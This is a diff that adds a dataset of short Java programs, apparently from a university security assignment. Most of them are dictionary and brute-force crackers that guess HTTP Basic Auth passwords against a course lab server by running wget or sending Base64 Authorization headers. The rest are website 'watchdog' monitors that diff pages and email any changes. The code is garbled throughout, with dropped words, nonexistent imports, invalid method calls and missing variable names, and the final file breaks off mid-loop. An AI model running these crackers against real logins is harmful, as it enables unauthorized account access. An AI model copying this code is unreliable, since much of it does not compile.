+        System.out.println(""   URL      : (opt) the URL  crack "");
+        System.out.println(""                    (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)"");
+        System.out.println(""   ,  : (optional) range of characters   applied in the cracking"");
+        System.out.println(""                         where  1   <=  <= 255  (default  = 1)"");
+        System.out.println(""                                 <=  <= 255  (default  = 3)"");
+        System.out.println(""   username : (optional) the username that is used  crack"");
+        System.out.println();
+        System.out.println(""   NOTE: The optional parameters '','', and 'username'"");
+        System.out.println(""         have   specified altogether  none at all."");
+        System.out.println(""         For example, if [] is specified, then [], and [username]"");
+        System.out.println(""         have   specified as well. If none of them  specified,"");
+        System.out.println(""         default values   used."");
+        System.out.println();
+        System.out.println(""   Example of invocation :"");
+        System.out.println(""         java Dictionary "");
+        System.out.println(""         java Dictionary 0"");
+        System.out.println(""         java Dictionary 1 http://localhost/tryme.php"");
+        System.out.println(""         java Dictionary 0 http://localhost/tryme.php 1 3 "");
+        System.out.println(""         java Dictionary 1 http://localhost/tryme.php 1 10 "");
+        System.out.println();
+        System.out.println();
+    }
+    
+    
+    public static void paramCheck(String[] args) {
+        int argc = args.length;
+        
+        
+        try {
+            switch (Integer.valueOf(args[0]).intValue()) {
+                case 0: {
+                    isenhanced = false;
+                } break;
+                case 1: {
+                    isenhanced = true;
+                } break;
+                default:
+                    System.out.println(""Syntax error : invalid mode '""+args[0]+""'"");
+                    printSyntax();
+                    System.exit(1);
+            }
+        } catch (NumberFormatException e) {
+            System.out.println(""Syntax error : invalid number '""+args[0]+""'"");
+            printSyntax();
+            System.exit(1);
+        }
+        
+        if (argc>1) {
+            try {
+                
+                URL u  = new URL(args[1]);
+                
+                
+                try {
+                    HttpURLConnection conn = (HttpURLConnection) u.openConnection();
+                    
+                    switch (conn.getResponseCode()) {
+                       case  HttpURLConnection.HTTP_ACCEPTED:
+                      case   HttpURLConnection.HTTP_OK:
+                      case   HttpURLConnection.HTTP_NOT_AUTHORITATIVE:
+                      case   HttpURLConnection.HTTP_FORBIDDEN:
+                      case   HttpURLConnection.HTTP_UNAUTHORIZED:
+                            break;
+                        default:
+                            
+                            
+                            System.out.println(""Unable  open connection  the URL '""+args[1]+""'"");
+                            System.exit(1);
+                    }
+                } catch (IOException e) {
+                    System.out.println(e);
+                    System.exit(1);
+                }
+                
+                THEURL = args[1];
+            } catch (MalformedURLException e) {
+                
+                System.out.println(""Invalid URL '""+args[1]+""'"");
+                printSyntax();
+                System.exit(1);
+            }
+        }
+        
+        
+        if (argc==5) {
+            try {
+                MINCHAR = Integer.valueOf(args[2]).intValue();
+            } catch (NumberFormatException e) {
+                System.out.println(""Invalid  range number value '""+args[2]+""'"");
+                printSyntax();
+                System.exit(1);
+            }
+            
+            try {
+                MAXCHAR = Integer.valueOf(args[3]).intValue();
+            } catch (NumberFormatException e) {
+                System.out.println(""Invalid  range number value '""+args[3]+""'"");
+                printSyntax();
+                System.exit(1);
+            }
+            
+            if ((MINCHAR<1) || (MINCHAR>255)) {
+                System.out.println(""Invalid  range number value '""+args[2]+""' (must between 0 and 255)"");
+                printSyntax();
+                System.exit(1);
+            } else
+                if (MINCHAR>MAXCHAR) {
+                    System.out.println(""Invalid  range number value '""+args[2]+""' (must lower than the  value)"");
+                    printSyntax();
+                    System.exit(1);
+                }
+            
+            if (MAXCHAR>255) {
+                System.out.println(""Invalid  range number value '""+args[3]+""' (must between  value and 255)"");
+                printSyntax();
+                System.exit(1);
+            }
+            
+            USERNAME = args[4];
+        } else
+            if ((argc>2) && (argc<5)) {
+                System.out.println(""Please specify the [], [], and [username] altogether  none at all"");
+                printSyntax();
+                System.exit(1);
+            } else
+                if ((argc>2) && (argc>5)) {
+                    System.out.println(""The number of parameters expected is not more than 5. "");
+                    System.out.println("" have specified more than 5 parameters."");
+                    printSyntax();
+                    System.exit(1);
+                }
+    }
+    
+    public static void main(String[] args) {
+        MINCHAR   = 1;
+        MAXCHAR   = 3; 
+        
+        
+        if (args.length==0) {
+            args    = new String[5];
+            args[0] = String.valueOf(1); 
+            args[1] = THEURL;
+            args[2] = String.valueOf(MINCHAR);
+            args[3] = String.valueOf(MAXCHAR);
+            args[4] = USERNAME;
+        }
+        
+        
+        paramCheck(args);
+        
+        
+        readThroughDictionary();
+        
+        
+        Application = new Dictionary();
+    }
+    
+    public static Dictionary Application;
+    public static String    THEURL		= ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"";
+    public static String    DICTIONARY          = System.getProperty(""user.dir"")+""/words"";
+    public static String    TEMPDICT            = System.getProperty(""user.dir"")+""/~words"";
+    public static boolean   isenhanced;		
+    public static String    passw		= """";	
+    
+    public static final int REPORT_INTERVAL = 1;  
+    public static int       MAXTHREAD =  50;      
+    public static int       MAXCONN   =  50;      
+    public static int	    curconn   =   0;      
+    public static int       success   =  -1;      
+    
+    public static String    USERNAME = """";  
+    public static int       MINCHAR;              
+    public static int       MAXCHAR;              
+    public static   int    ALLCOMBI;             
+    
+    public static  int  start    ,end;            
+    public static int       MAXCACHE  = 100;      
+    
+    public static java.util.Timer   reportTimer;  
+    public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; 
+    public static boolean	    connused[]	  = new boolean[MAXCONN];           
+    public        ThCrack[] threads               = new ThCrack[MAXTHREAD];         
+    public static   int    attempt               = 0; 
+    public static int    idxLimit;		  
+}
+"
+002.java,"
+
+
+import java.io.*;
+
+
+class Dictionary{
+
+public static void main(String args[]){
+	try{
+		
+        File file = new File(""words"");
+		FileReader fr = new FileReader(file);
+		BufferedReader bf = new BufferedReader(fr);
+		URLHack uh = new URLHack();
+		String line="""";
+		while((line = bf.readLine()) != null){
+			if(line.length() <=3) {
+				
+                
+                uh.crackIt(line);
+		    }
+        }
+	}
+	catch(IOException ioe){
+		System.out.println(""Error: ""+ioe);
+	}
+
+}
+}
+
+
+
+class URLHack{
+
+public void crackIt(String paas){
+		Process p=null;
+		try{
+			p = Runtime.getRuntime().exec(""wget -nv --http-user= --http-passwd=""+paas+
+			"" http://sec-crack.cs.rmit.edu./SEC/2/"");
+
+
+
+			InputStream is = p.getErrorStream();
+			BufferedReader bf = new BufferedReader(new InputStreamReader(is));
+
+			String tempLine="""";
+			tempLine = bf.readLine();
+			System.out.println(tempLine);
+
+			if(tempLine.length() == 21) 
+				System.out.println(""Invalid Password "" +paas);
+			else
+			{
+				System.out.println(""Password is "" + paas);
+				System.exit(0);
+			}
+
+
+		}
+
+		catch(Exception e){
+			System.out.println("" ERROR ""+e);
+
+
+		}
+}
+}"
+154.java,"import java.io.*;
+import java.util.StringTokenizer;
+import java.net.smtp.SmtpClient;
+import java.util.Timer;
+import java.util.TimerTask;
+
+
+public class WatchDog {
+public static void main(String[] args) {
+try {
+Process y = Runtime.getRuntime().exec(""./init"");
+}
+catch (Exception e) {System.err.println(e);}
+
+
+WatchDog poodle=new WatchDog();
+ {
+poodle.startWatch();
+} while(1==1);
+}
+
+public void startWatch() {
+String error_mes=new String();
+String mesg=new String();
+String url=""wget -p http://www.cs.rmit.edu./students"";
+
+try {
+Process a = Runtime.getRuntime().exec(url);
+}
+catch (Exception e) {System.err.println(e);}
+
+try {
+Process b = Runtime.getRuntime().exec(""diff org/images/ www.cs.rmit.edu./images/"");
+ BufferedReader stdInputimages = new BufferedReader(new InputStreamReader(b.getInputStream()));
+            while ((error_mes = stdInputimages.readLine()) != null) {
+
+              mesg=mesg.concat(error_mes);
+              
+              
+              }
+}
+catch (Exception e) {System.err.println(e);}
+
+
+
+
+try {
+Process c = Runtime.getRuntime().exec(""diff org/students/ www.cs.rmit.edu./students/"");
+BufferedReader stdInputindex = new BufferedReader(new InputStreamReader(c.getInputStream()));
+            while ((error_mes = stdInputindex.readLine()) != null) {
+             mesg=mesg.concat(error_mes);
+                  
+              }
+}
+catch (Exception e) {System.err.println(e);}
+
+
+if (mesg.length()>0) { sendEmail(mesg); }
+
+try { Thread.sleep(60*60*24*1000);
+ } catch(Exception e) { }
+}
+
+
+
+
+
+public void sendEmail(String message) {
+{
+String reciever = ""@cs.rmit.edu."";
+String sender = ""WATCHDOG@cs.rmit.edu."";
+
+    try {
+
+                        SmtpClient smtp = new SmtpClient();
+                        smtp.from(sender);
+                        smtp.to(reciever);
+                        PrintStream msg = smtp.startMessage();
+                        msg.println(message);
+                        smtp.closeServer();
+                }
+
+                catch (Exception e) {}
+
+        }
+}
+}"
+146.java,"import java.net.*;
+import java.util.*;
+
+public class BruteForce {
+
+   public static void main(String[] args) {
+      new CrackAttempt();
+   }
+}
+
+class CrackAttempt {
+   public CrackAttempt() {
+      final int MAX_LENGTH = 3;
+      boolean auth = false;
+      Date  = new Date();
+      boolean morePasswords = true;
+      int passPtr = 0;
+      StringBuffer validChars = new StringBuffer(""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"");
+      char[] password = new char[MAX_LENGTH];
+
+      password[0] = validChars.charAt(0);
+      while (!auth && morePasswords) {
+         String resource = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
+         try {
+            
+            Authenticator.setDefault(new CrackAuth(password));
+            URL url = new URL(resource);
+            HttpURLConnection conn = (HttpURLConnection)url.openConnection();
+            conn.setRequestMethod(""HEAD"");
+            if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
+               System.out.println(""cracked with "" + new String(password));
+               auth = true;
+            }
+         } catch (Exception e) {
+            System.out.println("" was  exception: "" + e.getMessage());
+         }
+         int count = passPtr;
+         while (true) {
+            if (password[count] == validChars.charAt(validChars.length() - 1)) {
+               password[count] = validChars.charAt(0);
+               count--;
+            } else {
+               password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count])) + 1);
+               break;
+            }
+            if (count < 0) {
+               
+               if (passPtr < MAX_LENGTH - 1) {
+                  passPtr++;
+                  password[passPtr] = validChars.charAt(0);
+               } else {
+                  morePasswords = false;
+               }
+               break;
+            }
+         }
+         
+      } 
+      if (!auth) {
+         System.out.println(""Unable  determine password"");
+      } else {
+          time = (new Date()).getTime() - start.getTime();
+         System.out.println(""it took "" + String.valueOf(time) + "" milliseconds  crack the password"");
+      }
+   }
+}
+
+class CrackAuth extends Authenticator {
+   char[] password;
+   public CrackAuth(char[] password) {
+      this.password = password;
+   }
+
+   protected PasswordAuthentication getPasswordAuthentication()
+   {
+      String user = """";
+      return new PasswordAuthentication(user, password);
+   }
+}
+"
+238.java,"
+import java.util.*;
+import java.io.*;
+import java.net.*;
+
+class BruteForce
+{
+
+ public static void main (String a[])
+ {
+ 
+ final char [] alphabet = {
+        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
+        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
+        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
+        'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
+        'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
+        'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
+        'w', 'x', 'y', 'z'};
+
+ String pwd="""";
+ 
+ for(int i=0;i<52;i++)
+ {
+  for(int j=0;j<52;j++)
+  {
+   for(int k=0;k<52;k++)
+   {
+    pwd = alphabet[i]+""""+alphabet[j]+""""+alphabet[k];
+    String userPassword = "":""+pwd;
+    RealThread myTh = new RealThread(i,userPassword);
+    Thread th = new Thread( myTh );
+    th.start();
+    try
+    {
+     
+     
+     th.sleep(100);
+    }
+    catch(Exception e)
+    {} 
+   }
+  }
+ }
+
+
+}
+
+
+}
+
+
+class RealThread implements Runnable
+{
+ private int num;
+ private URL url;
+ private HttpURLConnection uc =null;
+ private String userPassword;
+ private int responseCode = 100;
+ public RealThread (int i, String userPassword)
+ {
+ try
+ {
+ url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+ }
+ catch(Exception ex1)
+ {
+ }
+ num = i;
+ this.userPassword = userPassword;
+
+ }
+ 
+ public int getResponseCode()
+ {
+
+ return this.responseCode;
+ }
+
+ public void run()
+ {
+  try
+  {
+  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
+
+  uc = (HttpURLConnection)url.openConnection();
+  uc.setRequestProperty (""Authorization"", "" "" + encoding);
+  System.out.println(""Reponse  = ""+uc.getResponseCode()+""for pwd = ""+userPassword);
+  this.responseCode = uc.getResponseCode();
+  
+  if(uc.getResponseCode()==200)
+  {
+     System.out.println("" ======= Password Found : ""+userPassword+"" ========================================= "");
+     System.exit(0);
+  }
+
+  }
+  catch (Exception e) {
+  System.out.println(""Could not execute Thread ""+num+"" "");
+  }
+ }
+
+}
+"
+215.java,"
+
+import java.Runtime;
+import java.io.*;
+
+public class differenceFile
+{
+  StringWriter sw =null;
+  PrintWriter pw = null;
+  public differenceFile()
+  {
+    sw = new StringWriter();
+    pw = new PrintWriter();
+  }
+  public String compareFile()
+  {
+    try
+    {
+      Process  = Runtime.getRuntime().exec(""diff History.txt Comparison.txt"");
+
+      InputStream write = sw.getInputStream();
+      BufferedReader bf = new BufferedReader (new InputStreamReader(write));
+      String line;
+      while((line = bf.readLine())!=null)
+          pw.println(line);
+      if((sw.toString().trim()).equals(""""))
+      {
+         System.out.println("" difference"");
+         return null;
+      }
+      System.out.println(sw.toString().trim());
+    }catch(Exception e){}
+    return sw.toString().trim();
+  }
+}"
+227.java,"import java.io.*;
+import java.net.*;
+import java.net.HttpURLConnection;
+import javax.net.*;
+import java.security.cert.*;
+
+public class Dictionary
+{
+	public static void main(String[] args)
+	{
+		BufferedReader in = null;
+		boolean found = true;
+		String word = null;
+		String cmd = null;
+		Runtime run = Runtime.getRuntime();
+		Process pro = null;
+		BufferedReader inLine = null;
+
+
+
+		String str = null;
+		URLConnection connection = null;
+
+		try
+		{
+			FileReader reader = new FileReader(""words"");
+			in = new BufferedReader(reader);
+			System.out.println("" cracking...."");
+			
+			{
+				found = true;
+				word = new String(in.readLine());
+
+				cmd = ""wget --http-user= --http-passwd=""+word +"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"";
+
+				pro = run.exec(cmd);
+				inLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));
+
+
+				if((str=inLine.readLine())!=null)
+				{
+
+					while ((str=inLine.readLine())!=null)
+					{
+						if (str.endsWith(""Required""))
+						{
+
+							found = false;
+						}
+
+					}
+				}
+
+
+
+
+
+
+				run.gc();
+			}
+			while (!found);
+
+
+
+
+
+		}
+		catch (FileNotFoundException exc)
+		{
+			System.out.println(exc);
+		}
+		catch (IOException exc)
+		{
+			System.out.println(exc);
+		}
+        catch (NullPointerException ex)
+        {
+            System.out.println(word);
+        }
+		finally
+		{
+			try
+			{
+				if (in!= null)
+				{
+					in.print();
+				}
+			}
+			catch (IOException e) {}
+		}
+		if (found == true)
+			System.out.println(""The password is :"" + word);
+        else
+            System.out.println(""NOT FOUND!"");
+	}
+}"
+206.java,"
+import java.util.*;
+
+public class WatchDog
+{
+   private Timer t;
+
+   public WatchDog()
+   {
+     t  = new Timer();
+      TimerTask task = new TimerTask()
+      {
+         public void run()
+	 {
+	    Dog doggy = new Dog();
+	 }
+      };
+      
+      t.schedule(task, 0, 86400000);
+   }
+   public static void main( String[] args)
+   {
+      WatchDog wd = new WatchDog();
+   }
+}
+"
+020.java,"
+
+
+
+import java.util.*;
+import java.util.zip.*;
+import java.net.*;
+import java.io.*;
+import javax.swing.*;
+
+public class WatchDogTask extends TimerTask
+{
+    private String  urlHomePage;
+    private boolean fileToWrite = true;
+    private boolean startup = true;
+    private int[]  checksum;
+    private int noChangeCount = 0;
+
+    public WatchDogTask()
+    {
+        super();
+
+        System.out.println(""Programmed by   for INTE1070 Assignment2"");
+
+        urlHomePage = JOptionPane.showInputDialog( ""Enter  URL"" );
+    }
+
+    
+    public void run()
+    {
+        noChangeCount = 0;
+
+        try
+        {
+            URL currURL = new URL( urlHomePage );
+            URLConnection conn = currURL.openConnection();
+
+            if (conn instanceof HttpURLConnection)
+            {
+                HttpURLConnection hconn = (HttpURLConnection) conn;
+                hconn.setUseCaches( false );
+                hconn.setFollowRedirects( true );
+
+                hconn.connect();
+                int    response = hconn.getResponseCode();
+                String msg = hconn.getResponseMessage();
+
+
+
+
+                performTask( hconn.getInputStream() );
+            }
+
+            String option = JOptionPane.showInputDialog(
+                                        ""  want  exit?(y/n)"" );
+            if(option != null && (option.equals(""y"") || option.equals(""Y"")))
+            {
+                cancel();
+                System.exit(0);
+            }
+            else
+            {
+                startup = false;
+                System.err.println( ""  in 24 hours!""  );
+            }
+        }
+        catch( MalformedURLException mue )
+        {
+            String msg = ""Unable  parse URL !"";
+            System.err.println( msg );
+        }
+        catch( IOException ioe )
+        {
+            System.err.println( ""I/O Error : "" + ioe );
+        }
+    }
+
+    private void performTask( InputStream inputStream )
+    {
+         String fileName = null, arg1 = null, arg2 = null;
+         InputStream in = inputStream;
+
+         try
+         {
+             if( fileToWrite == true )
+             {
+                 fileName = ""tempFile1.txt"";
+                 fileToWrite = false;
+             }
+             else
+             {
+                 fileName = ""tempFile2.txt"";
+                 fileToWrite = true;
+             }
+
+             BufferedReader buf = new BufferedReader(new InputStreamReader(in));
+             FileOutputStream fout = new FileOutputStream( fileName );
+
+             String line;
+             List   imgList = new ArrayList();
+
+             while( ( line = buf.readLine() ) != null )
+             {
+
+                 if((line.indexOf(""src="") != -1) ||
+                                             (line.indexOf(""SRC="") != -1))
+                 {
+                     ParsingImgLink parser = new ParsingImgLink(
+                                                 urlHomePage,line);
+                     String imgLink = parser.getImgLink();
+                     imgList.add( imgLink );
+
+                 }
+
+                 fout.write(line.getBytes());
+                 fout.write(""\n"".getBytes());
+             }
+
+             buf.read();
+             fout.read();
+
+             int[] tempChecksum = new int[imgList.size()];
+             for( int i = 0; i < imgList.size(); i ++ )
+             {
+                 URL imgURL = new URL( (String)imgList.get( i ) );
+                 URLConnection imgConn = imgURL.openConnection();
+
+                 if (imgConn instanceof HttpURLConnection)
+                 {
+                     HttpURLConnection imgHConn = (HttpURLConnection) imgConn;
+                     imgHConn.connect();
+                     int    response = imgHConn.getResponseCode();
+                     String msg = imgHConn.getResponseMessage();
+
+                     System.out.println( ""Downloading image: "" +
+                                         ""Server Response : "" + response +
+                                         "" Response Message: "" );
+
+                     CheckedInputStream cis = new CheckedInputStream(
+                                    imgHConn.getInputStream(), new Adler32());
+                     byte[]  tempBuf = new byte[128];
+                     while( cis.get(tempBuf) >= 0 )
+                     {
+                         
+                     }
+
+                     tempChecksum[i] = cis.getChecksum().getValue();
+                     System.out.println(""Image Checksum = "" + tempChecksum[i] );
+
+                     if( startup == false )
+                     {
+                         for( int j = 0; j < checksum.length; j ++ )
+                         {
+                             if( tempChecksum[i] == checksum[j] )
+                                noChangeCount ++;
+                         }
+                     }
+                 }
+             }
+
+             String change = null;
+             if( startup == false )
+             {
+                 Process p = Runtime.getRuntime().exec(
+                                 ""diff tempFile1.txt tempFile2.txt"", null );
+                 InputStream inCommand = p.getInputStream();
+                 OutputStream out = new FileOutputStream(""diff.txt"",true);
+                 int c;
+                 while( (c = inCommand.get()) != -1 )
+                 {
+                     System.out.print( (char)c );
+                     out.write( c );
+                 }
+
+                 inCommand.get();
+
+                 if( checksum.length > tempChecksum.length )
+                 {
+                     change = """" + (checksum.length-tempChecksum.length) +
+                           "" image(s) has/have been removed from this web "";
+                     out.write( change.getBytes() );
+                 }
+                 else if( checksum.length < tempChecksum.length )
+                 {
+                     change = """" + (tempChecksum.length-checksum.length) +
+                               "" image(s) has/have been added  this web "";
+                     out.write( change.getBytes() );
+                 }
+                 else if( noChangeCount < checksum.length )
+                 {
+                     change = """" + (checksum.length-noChangeCount) +
+                             "" image(s) has/have been changed  this web "";
+                     out.write( change.getBytes() );
+                 }
+                 else
+                 {
+                     change = ""all images have not been changed"";
+                 }
+
+                 File diffFile = new File( ""diff.txt"" );
+                 if( diffFile.length() != 0 )
+                 {
+                     Runtime.getRuntime().exec( ""mail  < diff.txt"" );
+                     System.out.println(""A mail has been sent   mail box"");
+                 }
+             }
+             else
+             {
+                 change = ""Program starts up first time"";
+             }
+
+             System.out.println( change );
+             checksum = tempChecksum;
+         }
+         catch( MalformedURLException mue )
+         {
+             String msg = ""Unable  parse URL !"";
+             System.err.println( msg );
+         }
+         catch( IOException ioe )
+         {
+             System.err.println( ""I/O Error: "" + ioe );
+         }
+    }
+} 
+"
+090.java,"import java.io.*;
+import java.net.*;
+import java.security.*;
+import java.math.*;
+import java.*;
+import java.util.*;
+
+
+public class Dictionary
+{
+    public static void main (String args[]) throws Exception {
+	Socket socket = null;
+	DataOutputStream  = null;
+	BufferedReader bf = null, fr = null;
+	String retVal = null, StatusCode = ""HTTP/1.1 200 OK"";
+    int found = 0, count = 0;
+    String testpasswd;
+
+   	    try {
+
+    	    File inputFile = new File(""words"");
+            fr = new BufferedReader(new FileReader(inputFile));
+        } catch (IOException ex) {
+	        ex.printStackTrace();
+        }
+
+         stime = System.currentTimeMillis();
+        System.out.println(""Cracking password by Dictionary..."");
+
+        while (((testpasswd = fr.readLine()) != null) && (found == 0))
+        {
+         	try {
+
+	           
+               URL yahoo = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+               URLConnection yc = yahoo.openConnection();
+
+               
+               String authString = "":"" + testpasswd;
+               String auth = new bf.misc.BASE64Encoder().encode(authString.getBytes());
+               yc.setRequestProperty(""Authorization"", "" "" + auth);
+               count++;
+
+               
+               BufferedReader in = new BufferedReader(
+                                       new InputStreamReader(
+                                       yc.getInputStream()));
+
+               String inputLine;
+               while ((inputLine = in.readLine()) != null){
+                     System.out.println(inputLine);
+                      etime = System.currentTimeMillis();
+                     System.out.println(""Password found -- "" + testpasswd);
+                     System.out.println(""Time used = "" + ((etime - stime)/1000) + "" sec"");
+                     System.out.println(""# of attempt = "" + count);
+                     System.out.println(""End of cracking!"");
+                     found = 1;
+               }
+               in.print();
+
+            } catch (Exception ex) {}
+        }
+        fr.close();
+
+        if (found == 0) {
+           System.out.println(""Sorry,  password found."");
+           System.out.println(""# of attempt = "" + count);
+           System.out.println(""End of cracking!"");
+        }
+    }
+}"
+040.java,"import java.io.*;
+import java.util.*;
+import java.text.*;
+
+
+public class Dictionary 
+{
+
+    
+    
+    
+    private int verbose = 0;
+    private int scanType = CrackingConstants.casedScan;
+    private boolean leftThreeCharsOnly = false;
+    private boolean fullScan = false;
+
+    
+    
+    
+    
+    
+    
+    
+    
+    private int passwordsTried = 0;
+    private int uniqueLetterSequencesTried = 0;
+	
+	
+	public static void main (String args[])
+	{
+		int tIni;
+		int tFinish;
+ 		DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);
+	    Dictionary  pwForcer = new Dictionary();
+	        
+	    if(0 < args.length)
+	    {
+	        for(int i = 0; i < args.length; i++)
+	        {
+        		if((args[i].indexOf(""-h"") > -1) || (args[i].indexOf(""-H"") > -1))
+        		    {
+        			System.out.println(""\n-f  -F\tgenerates the three leftmost characters of the passwords as in -t/T \nbut also appends the rest of the string ( duplicate checking is  with this option)."");
+        			System.out.println(""\n-s  -S\tonly tests lower  passwords."");
+        			System.out.println(""\n-t  -T\tonly  the three leftmost characters of the passwords."");
+        			System.out.println(""\n-v  -V\tprints the passwords as    tried.\n"");
+        			return;
+        		    }	
+        		else if((args[i].indexOf(""-s"") > -1) || (args[i].indexOf(""-S"") > -1))
+        		    pwForcer.scanType = CrackingConstants.simpleScan;
+        		else if((args[i].indexOf(""-v"") > -1)  || (args[i].indexOf(""-V"") > -1)) 
+        		    pwForcer.verbose = CrackingConstants.verboseMode2;
+        		else if((args[i].indexOf(""-t"") > -1) || (args[i].indexOf(""-T"") > -1))
+        		    pwForcer.leftThreeCharsOnly = true;
+        		else if((args[i].indexOf(""-f"") > -1) || (args[i].indexOf(""-F"") > -1))
+        		    pwForcer.fullScan = true;
+		    }
+	    }
+	        
+	    
+	    if (pwForcer.fullScan) 
+	    	pwForcer.leftThreeCharsOnly = false;
+	    
+        
+	    System.out.println(""\n\n********************************\n"");
+		System.out.println(""Starting dictionary run at "" + 
+		    longTimestamp.format(new Date()));
+		if(0 < args.length)
+		{
+			String arguments = """";
+			for( i =0; i < args.length; i++)
+				arguments += args[i] + "" "";
+			System.out.println(""\nOptions: "" + arguments + ""\n"");
+		}
+	    if (pwForcer.leftThreeCharsOnly)
+    	    System.out.println(""Only the first three letters of each password   tried."");
+		if(pwForcer.scanType == CrackingConstants.simpleScan)
+    	    System.out.println(""Only lower  passwords  tried."");
+    	else
+    	    System.out.println(""Both lower and upper  passwords  tried."");
+	    System.out.println(""\n********************************\n"");
+
+	    tIni = System.currentTimeMillis();
+	    pwForcer.run();
+	    tFinish = System.currentTimeMillis();
+	    
+        if (CrackingConstants.casedScan == pwForcer.scanType)
+        {
+	        
+    	    
+	        
+	        
+	        System.out.println (""\n\n"" + pwForcer.passwordsTried + "" capitalized passwords were tried."");
+	        System.out.println (""That is "" + pwForcer.uniqueLetterSequencesTried  + "" unique passwords were tried."");
+	        
+	        
+        }
+        else
+        {
+    	    System.out.println (""\n\n"" + pwForcer.passwordsTried + "" passwords were tried.\n"");
+    	    
+	        System.out.println (pwForcer.uniqueLetterSequencesTried  + "" unique passwords were tried."");
+        }
+        
+	    
+	    System.out.println(""\n********************************\n"");
+		System.out.println(""Finished dictionary run at "" + 
+		    longTimestamp.format(new Date()));
+		System.out.println(""Time taken: "" + ((tFinish - tIni )/1000) + "" seconds"");
+	    System.out.println(""\n********************************"");
+	}   
+
+	
+    public Dictionary()
+    {
+    }   
+
+	
+    private void run()
+    {
+        
+        
+        String fileName = ""/usr/share/lib/dict/words"";
+        
+        LoginAttemptResults results = new LoginAttemptResults();
+        LoginAttempt login = new LoginAttempt();
+        
+        CasePasswords casedPasswords = new CasePasswords(verbose);
+        
+        
+        try
+        {
+            boolean found = false;
+            
+            int lineCount = 0;
+            
+            String password = null;
+            String lastPassword = """";  
+            BufferedReader in = new BufferedReader(new FileReader(fileName));
+            
+            while((null != (password = in.readLine())) && (!found))
+            {
+                
+                lineCount++;
+                
+		        password = password.trim();
+           	    
+           	    if("""" != password)
+           	    {  
+           	        if (leftThreeCharsOnly)
+           	        {
+                         leftIndex = -1;
+                         midIndex = -1;
+                         rightIndex = -1;
+                        String tail = """";
+                        
+                        
+                        
+                        if(3 <= password.length())
+                        {
+                            if (!fullScan)
+                	            
+	        	                
+    	                        
+	    	                    if(lastPassword.equals(password.substring(0, 3).toLowerCase()))
+    	                            continue;
+        	                    else
+            	                    lastPassword = password.substring(0, 3).toLowerCase();
+                	        char [] passwordChars = password.toCharArray();
+                            leftIndex = CrackingConstants.findIndex(passwordChars[0], 0, CrackingConstants.lowerChars.length);
+                            midIndex = CrackingConstants.findIndex(passwordChars[1], 0, CrackingConstants.lowerChars.length);
+                            rightIndex = CrackingConstants.findIndex(passwordChars[2], 0, CrackingConstants.lowerChars.length);
+                            
+                            
+                            
+	                        if ((3 < password.length() ) && (fullScan))
+	                        	tail = password.substring(0, 3);
+                        }
+                        else if(2 == password.length())
+                        {
+                            if (!fullScan)
+	                            
+	                            if(lastPassword.equals(password.substring(0, 2).toLowerCase()))
+    	                            continue;
+        	                    else
+            	                    lastPassword = password.substring(0, 2).toLowerCase();
+                            char [] passwordChars = password.toCharArray();
+                            leftIndex = CrackingConstants.findIndex(passwordChars[0], 0, CrackingConstants.lowerChars.length);
+                            midIndex = CrackingConstants.findIndex(passwordChars[1], 0, CrackingConstants.lowerChars.length);
+                        }
+                        else if(1 == password.length())
+                        {
+                            if (!fullScan)
+	                            
+    	                        if(lastPassword.equals(password.substring(0, 1).toLowerCase()))
+        	                        continue;
+            	                else
+                	                lastPassword = password.substring(0, 1).toLowerCase();
+                            char [] passwordChars = password.toCharArray();
+                            leftIndex = CrackingConstants.findIndex(passwordChars[0], 0, CrackingConstants.lowerChars.length);
+                        }
+                        else
+                        {
+                            System.out.println(""Empty password  from word file."");
+                            continue;
+                        }
+                        
+                        
+                        if((CrackingConstants.notFound != rightIndex) && ((CrackingConstants.notFound == leftIndex) || (CrackingConstants.notFound == midIndex)))
+                            continue;
+                        if((CrackingConstants.notFound != midIndex) && (CrackingConstants.notFound == leftIndex))
+                            continue;
+                      	
+                       	results = login.tryPasswords(casedPasswords.createCasedPasswords(leftIndex, midIndex, rightIndex, tail, CrackingConstants.lowerChars, CrackingConstants.upperChars, scanType), passwordsTried);
+                        found = results.getSuccess();
+                        passwordsTried = results.getPasswordsTried();
+                        uniqueLetterSequencesTried++;
+           	        }
+           	        else
+           	        {
+                        results = login.tryPasswords(casedPasswords.createCasedPasswords(password, scanType), passwordsTried);
+                        found = results.getSuccess();
+                        passwordsTried = results.getPasswordsTried();
+                        uniqueLetterSequencesTried++;
+                    }  
+                }  
+            }  
+            in.print();
+            
+            
+            
+            
+        }
+        catch(FileNotFoundException e)
+        {
+            System.out.println(""File "" + fileName + "" was not found  was unopenable."");
+        }
+        catch(IOException e)
+        {
+            System.out.println(""Error "" + e);
+        }
+     }   
+     
+    
+} 
+"
+249.java,"import java.net.*;
+import java.io.*;
+
+public class BruteForce
+{
+
+       public static void main  (String[] args)
+       {
+
+              String pwd = new String();
+              String userpwd = new String();
+              String reply = new String();
+              int i,j,k;
+              int startTime, endTime,totalTime;
+              URLConnection connectionObj;
+              startTime = System.currentTimeMillis();
+              
+
+         try {
+
+         URL urlObj = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+
+
+
+
+              for (i=1;i<=58;i++)
+              {
+                  if (i<=26 || i > 32)
+                  {
+                     
+                     
+                  }
+
+                  for (j=1;j<=58;j++)
+                  {
+                      if ((j<=26 || j > 32) && (i <=26 || i>32))
+                      {
+
+
+                         
+                         
+                      }
+
+                      for (k=1;k<=58;k++)
+                      {
